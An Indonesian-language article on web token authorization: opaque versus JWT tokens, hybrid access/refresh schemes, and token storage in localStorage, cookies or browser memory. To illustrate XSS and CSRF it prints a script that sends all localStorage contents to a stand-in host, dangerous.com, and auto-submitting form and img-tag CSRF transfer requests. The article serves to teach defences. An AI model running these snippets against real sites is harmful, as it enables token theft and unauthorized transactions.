
Authentication adalah proses verifikasi untuk memastikan bahwa orang yang menggunakan aplikasi adalah pemilik akun yang sah. Biasanya ini dengan cara verifikasi username & password, sidik jari, Single Sign-On, atau metode lainnya. Authorization adalah proses validasi untuk memeriksa perizinan user tiap mengakses aplikasi. Ada beberapa cara untuk melakukan Authorization, seperti dulu menggunakan Basic base64(user:password), hingga sekarang menggunakan OAuth2.0 yang populer digunakan. OAuth2.0 (Open Authorization) adalah framework Authorization yang ga membutuhkan username & password, melainkan menggunakan token yang didapatkan setelah proses Authentication berhasil. Ada beberapa format token yang digunakan pada OAuth2.0, tapi yang paling populer saat ini adalah Opaque Token dan JWT.
Stateful Token
Stateful Token adalah token yang disimpan di server. Salah satu jenis Stateful Token yang populer digunakan untuk Authorization adalah Opaque Token, yaitu token berupa karakter random dan secure secara cryptography. Setelah berhasil Authentication, nanti aplikasi akan generate token random yang akan disimpan di server dan di browser. Kalau di Java bisa digenerate menggunakan SecureRandom.getInstanceStrong(). Token ini akan dikirim oleh browser tiap request dan akan divalidasi di server untuk memastikan request tersebut memiliki akses. Ini dinilai aman karena ga ada info apa pun di dalamnya, hanya sebagai kunci yang valid bagi seorang user. Kita bisa cabut hak akses token tersebut dari server dengan gampang jika terjadi kebocoran token. Kekurangannya, kita perlu menyimpan ini beserta info terkait di server, entah itu di memori aplikasi, memori database, atau permanen di database. Jika disimpan di memori aplikasi maka aplikasinya jadi susah scaling. Selain itu, jika kita perlu validasi waktu expire atau terkait data user dengan token tersebut maka kita perlu query lagi ke database. Ini cocok untuk aplikasi dengan kebutuhan keamanan tingkat tinggi seperti aplikasi perbankan.
Stateless Token
Stateless Token adalah token yang bisa divalidasi menggunakan cryptography lewat payload dan signature di dalam token tersebut tanpa perlu disimpan di server. JWT (JSON Web Token) adalah format Stateless Token yang paling populer saat ini. JWT terdiri dari 3 bagian: Header, Payload, dan Signature. Header berisi tentang info algoritma yang dipakai, tipe JWT, dan hal-hal teknis lainnya yang di-encode. Payload berisi info umum terkait user yang di-encode, biasanya berisi waktu expire, user scopes, serta info-info penting terkait user untuk validasi yang bukan data sensitif karena ini hal yang bisa dibaca. Signature adalah hash menggunakan secret key atau enkripsi menggunakan private key dari header & payload sehingga value dari JWT ini ga bisa diubah dari luar selama key yang digunakan ga bocor. Setelah berhasil Authentication, nanti server akan membungkus header JWT dan payload untuk di-encode menggunakan base64. Lalu itu di-hash dengan secret key atau dienkrip menggunakan private key yang ada di server sesuai tipe algoritma JWT yang dipakai dan itu dijadikan sebagai signature. Ini yang akan dikirim ke browser dan akan digunakan browser di tiap request untuk Authorization. Saat request diterima server maka akan divalidasi dengan cara header & payload di-hash ulang dengan secret key yang ada di server kemudian dibandingkan dengan JWT yang dikirim browser, atau didekrip menggunakan public key jika sebelumnya dienkrip menggunakan private key. Jika sama, maka lanjut ke validasi selanjutnya. Di sini ga perlu query lagi ke database untuk validasi lainnya terkait user ataupun waktu expire karena sudah ada infonya di dalam payload sehingga lebih cepat. Kekurangannya, karena ini ga disimpan di server, maka token ini ga bisa dicabut hak aksesnya begitu saja. Ini hanya expire jika sudah melewati waktu expire yang ada di payload. Ini cocok untuk aplikasi yang butuh akses cepat dan keamanan yang ga terlalu ketat.
Hybrid Token
Jalan tengah dari keduanya adalah Hybrid. Ini juga populer digunakan aplikasi jaman sekarang. Kita perlu 2 token: Access Token dan Refresh Token. Acess Token adalah Stateless Token yang digunakan di tiap request. Token ini umurnya pendek, bisa 1 hari, 1 jam, 30 menit, bahkan 15 menit, tergantung kebutuhan. Refresh Token adalah Stateful Token yang digunakan untuk generate ulang Access Token yang udah expire. Token ini umurnya panjang, bisa sehari, seminggu, sebulan, bahkan setahun, tergantung kebutuhan. Kita perlu siapkan url khusus untuk refresh Access Token seperti /auth/refresh. Selama Refresh Token belum expire maka Access Token yang expire bisa di-generate ulang hingga Refresh Token expire. Dengan begini, validasi aksesnya lebih cepat dan jika kita ingin mencabut hak akses token tersebut maka cabut saja Refresh Tokennya. Kekurangannya, karena yang bisa dicabut hanyalah Refresh Token, maka selama Access Tokennya belum expire, user dengan Access Token yang belum expire tetap bisa mengakses aplikasi. Makanya, Access Token itu wajib dibuat berumur pendek biar lebih aman. Ini cocok untuk aplikasi yang butuh akses cepat dan keamanan yang lebih baik.
Local Storage / Session Storage
Sekarang kita lanjut tentang tempat menyimpan token. Local Storage adalah storage tempat menyimpan data di browser yang permanen. Sedangkan Session Storage ga disimpan permanen, saat tab atau browser ditutup maka data akan dihapus. Dengan pendekatan ini kita perlu kirim token lewat header Authorization di tiap request.
let res = await fetch(`${site}/profile`, {
method: 'GET',
headers: {"Authorization": "Bearer " + localStorage.getItem('token')}
});Pendekatan ini sempat rame digunakan untuk menyimpan token dulunya. Namun sebaiknya ini hanya digunakan untuk menyimpan config local di browser saja kayak tema, bahasa, format tanggal, dan sejenisnya. Untuk token atau hal-hal sensitif lainnya ga dianjurkan karena rentan terhadap XSS attack. Data yang disimpan di sini bisa diakses secara global. Misalkan kita memasang script atau dependency dari luar yang mengandung code berbahaya maka hacker bisa mendapatkan data tersebut tanpa kita sadari. Contohnya seperti ini:
let length = localStorage.length;
for(let i = 0; i < length; i++){
let key = localStorage.key(i);
let item = localStorage.getItem(key);
console.log(key + " : " + item);
fetch(`http://dangerous.com?key=${key}&item=${item}`, {
method: "POST",
}); //DANGEROUS😱
}Cookie
Alternatifnya adalah menggunakan Cookie, yaitu file text yang berisi informasi yang dibuat oleh server dan disimpan di browser. Kita ga perlu kirim header Authorization di tiap request secara manual karena bisa diatur untuk mengirim Cookie secara otomatis.
let res = await fetch(`${site}/profile`, {
method: 'GET',
credentials: 'include'
});Untuk menghindari Cookie bisa diakses oleh JavaScript, maka perlu tambahkan config HttpOnly:true. Dengan begini script apa pun ga akan bisa mencuri token yang disimpan seperti pada kasus menyimpan token di Local Storage atau Session Storage. Jika menggunakan HTTPS maka wajib tambahkan config Secure:true. Ini tetap ada kekurangannya. Di sini kita perlu mecegah CSRF attack. Bisa saja ada website phishing yang memiliki tampilan yang mirip dengan website kita. User yang pernah login di website kita dan memiliki Cookie bisa terjebak dan menginput form di website phishing. Misalnya website kita di https://bank.com dan memiliki API transfer uang. Lalu ada hacker yang membuat website phishing dengan nama https://bankk.com menggunakan form dan action untuk transfer ke rekening mereka menggunakan API transfer dari web kita:
<form action="https://bank.com/transfer" method="POST">
<input type="hidden" name="to" value="devil">
<input type="hidden" name="amount" value="1000">
</form>
<script>document.forms[0].submit();</script>Saat submit maka Cookie user dari https://bank.com bisa terkirim bersama data form berbahaya lewat website phishing tersebut. Ini perlu dicegah dengan menambahkan config SameSite:Lax agar Cookie hanya bisa terkirim jika request tersebut berasal dari halaman https://bank.com sesuai action form atau pada GET request dari clickable link seperti link dari email.
Kelemahan lainnya, misalkan ada request dengan method GET yang bisa mengubah data di server. Ini juga rentan terhadap CSRF attack ketika hacker membuat website phishing yang di dalamnya ada script yang ditulis di dalam tag img sehingga script itu langsung tereksekusi membawa Cookie di dalamnya saat user membuka halaman😱.
<img src="https://bank.com/transfer?to=devil&amount=1000"/>Solusinya, request dengan method GET hanya digunakan untuk request yang read-only dan jangan pernah digunakan untuk keperluan mengubah data. Gunakan POST, PUT, PATCH, atau DELETE untuk mengubah data. Jika ingin lebih aman lagi, maka gunakan config SameSite:Strict agar Cookie ga akan bisa terkirim selain dari website yang sama, termasuk pada clickable link. Dengan begini maka token jadi lebih aman. Ini dengan syarat web & API berada di situs yang sama, misalnya web & API sama-sama di https://bank.com, atau API-nya di https://api.bank.com. Selain itu, Cookie juga ada kelemahan lain, yaitu ukuran maksimalnya hanya 4KB. Oleh karena itu Cookie hanya cocok untuk Stateful Token tanpa ada data lain di dalamnya karena jika ada data yang panjang maka ga bisa digunakan.
Browser Memory
Alternatif lainnya adalah dengan menyimpannya di browser memory. Ini cocok pada website SPA (Single Page App). Kita perlu fetch ke server untuk mendapatkan token dan itu kita simpan ke dalam sebuah variabel di browser. Ini aman dari CSRF attack karena bukan Cookie. Ini lebih aman daripada Local Storage & Session Storage dengan syarat disimpan menggunakan variabel let dan script atau dependency lain di-load sebelum variabel tersebut.
<script src="https://dangerous.com/script.js"></script>
<script>
let token = getToken(); //dangerous script can't access this
let res = await fetch(`${site}/profile`, {
method: 'GET',
headers: {"Authorization": "Bearer " + token}
});
</script>Jika masih menggunakan var maka tetap bisa dicolong lewat XSS attack, jadi penggunaan var wajib dihindari.
<script src="https://dangerous.com/script.js"></script>
<script>
var token = getToken(); //dangerous script can access this😱
</script>Kelemahannya, tiap refresh halaman, buka tab baru, atau pindah halaman pada website MPA (Multi Page App) maka tokennya akan hilang. Ini ga cocok untuk website MPA.
Server Side
Ini sebenarnya mirip dengan browser memory. Bedanya, token ga hanya disimpan di browser, tapi juga di server. Kita perlu fetch ke server untuk mendapatkan token dengan format script JavaScript atau JSON untuk disimpan di browser memory. Ini biasanya digunakan untuk menyimpan Access Token pada metode Hybrid dan dikombinasikan dengan Cookie sebagai tempat menyimpan Refresh Token. Saat fetch ke server tiap refresh halaman, buka tab baru, atau pindah halaman pada website MPA, maka kita akan mendapatkan token yang sama. Dengan begini user ga akan kehilangan hak aksesnya karena token disimpan di server dan ga perlu generate ulang tiap refresh selama belum expire sehingga cocok untuk untuk website MPA. Setelah mendapatkan token tersebut, di tiap request berikutnya browser akan mengirimkan token tersebut lewat header Authorization sama seperti sebelumnya. Kekurangannya, ini ga bisa Stateless seutuhnya karena kita menyimpan token di server dan harus query buat ngambil token. Agar lebih cepat maka token perlu disimpan di server cache.
Best of Both Worlds
Masing-masing tipe token dan tempat penyimpanannya memiliki kelebihan dan kekurangan. Website jaman sekarang mulai menggunakan metode Hybrid. Refresh Token berupa Stateful Token disimpan pada Cookie. Agar peluang terjadinya CSRF attack mengecil, Cookie perlu di-set untuk path tertentu seperti /auth. Dengan begitu Cookie tersebut hanya dikirim saat mengakses url dengan path berawalan /auth seperti /auth/refresh, /auth/logout, dan lainnya. Cookie tersebut juga di-set menggunakan HttpOnly:true agar aman dari XSS attack dan SameSite:Lax agar aman dari CSRF attack. Sedangkan Access Token berupa Stateless Token disimpan pada browser memory atau server side yang nantinya akan digunakan sebagai header Authorization di tiap request. Setiap Access Token expire, halaman di-refresh, atau buka tab baru, maka browser akan memanggil API /auth/refresh untuk mendapatkan Access Token selama Refresh Token belum expire tanpa kehilangan akses. Agar tokennya ga bentrok saat refresh, maka itu perlu dilakukan secara synchronous di browser. Biar proses refresh Access Token lebih cepat, maka saat login setelah simpan Refresh Token di database perlu cache di memory database juga seperti Redis. Jadi saat validasi Refresh Token kita hanya perlu ambil data dari cache tanpa query ke database. Sample code metode ini gw share pake Java di repo github gw.
Refresh Token Rotation
Meskipun Refresh Token berumur panjang, ketika Refresh Token expire maka user tetap harus login ulang. Bagi sebagian user yang sering mengakses aplikasi, itu menjengkelkan😡. Beberapa aplikasi modern memiliki periode rotasi, di mana Refresh Token diperbarui sebelum expire sehingga user ga perlu login ulang. Misalkan Refresh Token di-set untuk expire setelah 1 bulan. Kita ingin 5 hari sebelum expire Refresh Token tersebut akan dirotasi dengan Refresh Token yang baru tanpa membuat user login ulang. Ini perlu di-handle pada API /auth/refresh, jika Refresh Token sudah memasuki periode rotasi maka saat call API refresh kita perlu expire-kan Refresh Token yang lama dan generate Refresh Token dan Access Token yang baru. Contohnya, user login di tanggal 1 Januari jam 09:00 dan Refresh Token expire di tanggal 1 Februari jam 09:00. Maka periode rotasinya adalah dari tanggal 27 Januari jam 09:00 hingga 1 Februari jam 08:59. Saat user menggunakan aplikasi kita di periode tersebut, maka di saat itu lah Refresh Token dirotasi. Jika user ga menggunakan aplikasi kita di periode tersebut maka baru lah user harus login ulang. Ini yang umum dilakukan aplikasi modern seperti sosial media, makanya kita ga pernah login ulang di browser selama kita masih sering membukanya. Jika kita sudah lama ga mengaksesnya biasanya kita akan logout otomatis.
Hash Refresh Token
Dengan pendekatan di atas, peluang hacker untuk mencuri token memang berkurang. Masalahnya, jika Refresh Token disimpan di database secara telanjang maka admin server bisa mencurinya😱. Untuk itu agar Refresh Token yang disimpan di database ga disalah-gunakan oleh admin server maka kita perlu simpan tokennya di server berupa hash. Yang dikirimkan ke browser adalah Refresh Token yang asli, sedangkan yang disimpan ke database dan cache adalah Refresh Token yang sudah di-hash. Begitu juga saat validasi Refresh Token, maka token asli yang dikirim browser perlu di-hash dulu sebelum divalidasi dengan Refresh Token yang disimpan di server.
Fingerprint
Untuk tambahan layer keamanan, kita juga bisa menyimpan hash Fingerprint pada token. Fingerprint ini bisa berupa IP, browser, OS, device, dan sejenisnya. Data tersebut kita hash dan disimpan di token. Saat melakukan request maka browser perlu mengirimkan data-data tersebut. Di server nantinya informasi tersebut akan di-hash lalu dicocokkan dengan hash yang ada di token. Misalkan data di Fingerprint token browsernya Mozilla, lalu ada request dengan token yang sama tapi dengan data browser berbeda maka request tersebut bisa ditolak. Makanya kadang ada aplikasi yang kalau kita pakai VPN atau update browser maka akun kita logout sendiri. Ini optional tergantung kebutuhan bisnis.
Blacklist Access Token
Tambahan layer keamanan lainnya, kita juga bisa tambahkan blacklist Access Token di memori database berupa Set of Access Token yang masih aktif yang di-blacklist. Misalkan ada Access Token yang dicurigai telah dicuri bisa kita tambahkan di sana. Nanti tiap request perlu kita validasi apakah Access Token tersebut termasuk Access Token yang di-blacklist atau bukan. Ini optional sih untuk aplikasi yang memang kebutuhan keamanannya cukup tinggi. Secara umum jika Access Token yang kita buat sudah berumur pendek harusnya itu sudah cukup. Menurut gw, kalau memang kebutuhan keamanannya cukup tinggi, mending pakai Stateful Token sekalian.
Verdict
Authentication itu ibarat check in di hotel, sedangkan Authorization itu ibarat kunci kamar yang diberikan setelah check in sehingga kita ga perlu check in berkali-kali untuk masuk kamar. Metode Hybrid dengan Refresh Token di Cookie dan Access Token di browser memory atau server side sekarang lagi populer digunakan untuk Authorization pada aplikasi top kayak Spotify, X, ChatGpt, dan lainnya karena memberikan jalan tengah diantara kelebihan dan kekurangan. Aplikasi yang memang butuh keamanan tingkat tinggi biasanya menggunakan Cookie dan Stateful seperti perbankan, Facebook, dan lainnya. Penggunaan Local Storage ga aman, meskipun begitu masih ada aplikasi yang menggunakannya seperti DeepSeek. Sedangkan untuk aplikasi mobile biasanya token disimpan di Keychain pada iOS atau Keystore pada Android. Sebagian aplikasi memilih Stateless Token karena validasinya cepat. Sebagian lainnya memilih Stateful Token karena lebih aman. Aplikasi kayak Google menggunakan pendekatan berbeda, mereka punya metode sendiri dan tokennya dirotasi dalam hitungan menit. Konsekuensinya tentu itu butuh resource yang lebih besar. Semuanya kembali lagi tergantung kebutuhan aplikasi dan seberapa toleran kita terhadap kekurangan dari pilihan pendekatan tersebut.
